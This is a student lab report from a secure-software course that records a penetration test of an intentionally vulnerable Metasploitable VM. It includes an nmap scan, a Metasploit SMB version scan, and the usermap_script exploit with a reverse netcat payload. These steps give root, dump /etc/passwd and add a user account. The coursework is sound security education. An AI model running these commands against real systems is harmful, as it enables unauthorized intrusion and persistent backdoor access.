Activity 1 – Penetration Testing Using Metasploitable

Name: Bhupinder Singh
ASURITE ID: bsingh55
Course: SER 335 – Engineering Secure Software Systems
Lab: 4 – Activity 1
Date: April 12, 2025

Step 1: Run Nmap on Metasploitable IP (10.0.0.3)

Purpose: Scan for open ports and services on Metasploitable from Kali.

Screenshot:

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 01:27 UTC
Nmap scan report for metasploitable.vulnerable (10.0.0.3)
Host is up (0.0000030s latency).
Not shown: 980 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  ingreslock?
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1524-TCP:V=7.95%I=7%D=4/13%Time=67FB131D%P=aarch64-unknown-linux-gn
SF:u%r(NULL,30,"\x1b\]0;@metasploitable2:\x20/\x07root@metasploitable2:/#\
SF:x20")%r(GenericLines,F4,"\x1b\]0;@metasploitable2:\x20/\x07root@metaspl
SF:oitable2:/#\x20\n\x1b\]0;@metasploitable2:\x20/\x07root@metasploitable2
SF::/#\x20\n\x1b\]0;@metasploitable2:\x20/\x07root@metasploitable2:/#\x20\
SF:n\x1b\]0;@metasploitable2:\x20/\x07root@metasploitable2:/#\x20\n\x1b\]0
SF:;@metasploitable2:\x20/\x07root@metasploitable2:/#\x20")%r(GetRequest,5
SF:25,"\x1b\]0;@metasploitable2:\x20/\x07root@metasploitable2:/#\x20GET\x2
SF:0/\x20HTTP/1\.0\n<HTML>\n<HEAD>\n<TITLE>Directory\x20/</TITLE>\n<BASE\x
SF:20HREF=\"file:/\">\n</HEAD>\n<BODY>\n<H1>Directory\x20listing\x20of\x20
SF:/</H1>\n<UL>\n<LI><A\x20HREF=\"\./\">\./</A>\n<LI><A\x20HREF=\"\.\./\">
SF:\.\./</A>\n<LI><A\x20HREF=\"\.dockerenv\">\.dockerenv</A>\n<LI><A\x20HR
SF:EF=\"bin/\">bin/</A>\n<LI><A\x20HREF=\"boot/\">boot/</A>\n<LI><A\x20HRE
SF:F=\"cdrom/\">cdrom/</A>\n<LI><A\x20HREF=\"core\">core</A>\n<LI><A\x20HR
SF:EF=\"dev/\">dev/</A>\n<LI><A\x20HREF=\"etc/\">etc/</A>\n<LI><A\x20HREF=
SF:\"home/\">home/</A>\n<LI><A\x20HREF=\"initrd/\">initrd/</A>\n<LI><A\x20
SF:HREF=\"initrd\.img\">initrd\.img</A>\n<LI><A\x20HREF=\"lib/\">lib/</A>\
SF:n<LI><A\x20HREF=\"lost%2Bfound/\">lost\+found/</A>\n<LI><A\x20HREF=\"me
SF:dia/\">media/</A>\n<LI><A\x20HREF=\"mnt/\">mnt/</A>\n<LI><A\x20HREF=\"n
SF:ohup\.out\">nohup\.out</A>\n<LI><A\x20HREF=\"opt/\">opt/</A>\n<LI><A\x2
SF:0HREF=\"proc/\">proc/</A>\n<LI><A\x20HREF=\"root/\">root/</A>\n<LI><A\x
SF:20HREF=\"sbin/\">sbin/</A>\n<LI><A\x20HREF=\"srv/\">srv/</A>\n<LI><A\x2
SF:0HREF=\"sys/\">sys/</A>\n<LI><A\x20HREF")%r(HTTPOptions,127,"\x1b\]0;@m
SF:etasploitable2:\x20/\x07root@metasploitable2:/#\x20OPTIONS\x20/\x20HTTP
SF:/1\.0\nbash:\x20OPTIONS:\x20command\x20not\x20found\n\x1b\]0;@metasploi
SF:table2:\x20/\x07root@metasploitable2:/#\x20\n\x1b\]0;@metasploitable2:\
SF:x20/\x07root@metasploitable2:/#\x20\n\x1b\]0;@metasploitable2:\x20/\x07
SF:root@metasploitable2:/#\x20\n\x1b\]0;@metasploitable2:\x20/\x07root@met
SF:asploitable2:/#\x20")%r(RTSPRequest,127,"\x1b\]0;@metasploitable2:\x20/
SF:\x07root@metasploitable2:/#\x20OPTIONS\x20/\x20RTSP/1\.0\nbash:\x20OPTI
SF:ONS:\x20command\x20not\x20found\n\x1b\]0;@metasploitable2:\x20/\x07root
SF:@metasploitable2:/#\x20\n\x1b\]0;@metasploitable2:\x20/\x07root@metaspl
SF:oitable2:/#\x20\n\x1b\]0;@metasploitable2:\x20/\x07root@metasploitable2
SF::/#\x20\n\x1b\]0;@metasploitable2:\x20/\x07root@metasploitable2:/#\x20"
SF:);
MAC Address: 8A:56:52:31:A5:79 (Unknown)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Figure 1: Shows the nmap -sV 10.0.0.3 scan and detailed service output

Step 2a: Open Metasploit Console (msfconsole) and search for SMB-related modules

Purpose: Load msfconsole and search smb modules.

Screenshot:

```
   428  exploit/windows/smb/timbuktu_plughntcommand_bof                    2009-06-25       great      No     Timbuktu PlughNTCommand Named Pipe Buffer Overflow
   429  exploit/windows/fileformat/ursoft_w32dasm                          2005-01-24       good       No     URSoft W32Dasm Disassembler Function Buffer Overflow
   430  exploit/windows/fileformat/vlc_smb_uri                             2009-06-24       great      No     VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow
   431  auxiliary/scanner/smb/impacket/wmiexec                             2018-03-19       normal     No     WMI Exec
   432  auxiliary/admin/smb/webexec_command                                .                normal     No     WebEx Remote Command Execution Utility
   433  exploit/windows/smb/webexec                                        2018-10-24       manual     No     WebExec Authenticated User Code Execution
   434    \_ target: Automatic                                             .                .          .      .
   435    \_ target: Native upload                                         .                .          .      .
   436  post/windows/escalate/droplnk                                      .                normal     No     Windows Escalate SMB Icon LNK Dropper
   437  post/windows/gather/credentials/gpp                                .                normal     No     Windows Gather Group Policy Preference Saved Passwords
   438  post/windows/gather/word_unc_injector                              .                normal     No     Windows Gather Microsoft Office Word UNC Path Injector
   439  post/windows/gather/enum_shares                                    .                normal     No     Windows Gather SMB Share Enumeration via Registry
   440  payload/windows/peinject/reverse_named_pipe                        .                normal     No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   441  payload/windows/x64/peinject/reverse_named_pipe                    .                normal     No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   442  payload/windows/x64/meterpreter/reverse_named_pipe                 .                normal     No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (S
MB) Stager
   443  payload/windows/meterpreter/reverse_named_pipe                     .                normal     No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB)
Stager
   444  post/windows/gather/netlm_downgrade                                .                normal     No     Windows NetLM Downgrade Attack
   445  auxiliary/fileformat/multidrop                                     .                normal     No     Windows SMB Multi Dropper
   446  payload/windows/x64/custom/reverse_named_pipe                      .                normal     No     Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager
   447  payload/windows/custom/reverse_named_pipe                          .                normal     No     Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager
   448  exploit/multi/http/pgadmin_session_deserialization                 2024-03-04       excellent  Yes    pgAdmin Session Deserialization RCE


Interact with a module by name or index. For example info 448, use 448 or use exploit/multi/http/pgadmin_session_deserialization

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.0.3
RHOSTS => 10.0.0.3
msf6 auxiliary(scanner/smb/smb_version) > show info

       Name: SMB Version Detection
     Module: auxiliary/scanner/smb/smb_version
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <x@hdm.io>
  Spencer McIntyre
  Christophe De La Fuente

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS   10.0.0.3         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT                     no        The target port (TCP)
  THREADS  1                yes       The number of concurrent threads (max one per host)

Description:
  Fingerprint and display version information about SMB servers. Protocol
  information and host operating system (if available) will be reported.
  Host operating system detection requires the remote server to support
  version 1 of the SMB protocol. Compression and encryption capability
  negotiation is only present in version 3.1.1.


View the full module info with the info -d command.

msf6 auxiliary(scanner/smb/smb_version) >
```

Figure 2: Shows search smb, selecting scanner/smb/smb_version, and setting RHOSTS

Step 2b: Run SMB Version Scan

Goal: Run auxiliary scanner scanner/smb/smb_version against 10.0.0.3.

Screenshot:

Figure 3: Shows the actual execution of run command and detection of Samba 3.0.20

Step 3: Exploit Metasploitable using usermap_script

Goal: Use exploit/multi/samba/usermap_script with cmd/unix/reverse_netcat
Screenshot :

```
Retype new UNIX password:
Sorry, passwords do not match
passwd: Authentication information cannot be recovered
passwd: password unchanged

Try again? [Y/n] Enter new UNIX password: n
Retype new UNIX password:
Sorry, passwords do not match
passwd: Authentication information cannot be recovered
passwd: password unchanged
cat /etc/passwd
Try again? [Y/n] Enter new UNIX password: n
Retype new UNIX password:
Sorry, passwords do not match
passwd: Authentication information cannot be recovered
passwd: password unchanged
^C
Abort session 1? [y/N]  y

[*] 10.0.0.3 - Command shell session 1 closed.  Reason: User exit
msf6 exploit(multi/samba/usermap_script) > cat /etc/passwd
[*] exec: cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
Debian-exim:x:101:102::/var/spool/exim4:/usr/sbin/nologin
postgres:x:102:105:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
msf6 exploit(multi/samba/usermap_script) > use exploit/multi/samba/usermap_script
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.0.3
RHOSTS => 10.0.0.3
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_netcat
PAYLOAD => cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Command shell session 2 opened (10.0.0.2:4444 -> 10.0.0.3:37722) at 2025-04-13 01:48:52 +0000

whoami
root
useradd -m ser335hacker -s /bin/bash
useradd: user ser335hacker exists
cat /etc/passwd | grep ser335hacker
ser335hacker:x:1003:1003::/home/ser335hacker:/bin/bash
```

Figure 4: Shows exploitation, reverse shell access as root, and successful creation of user ser335hacker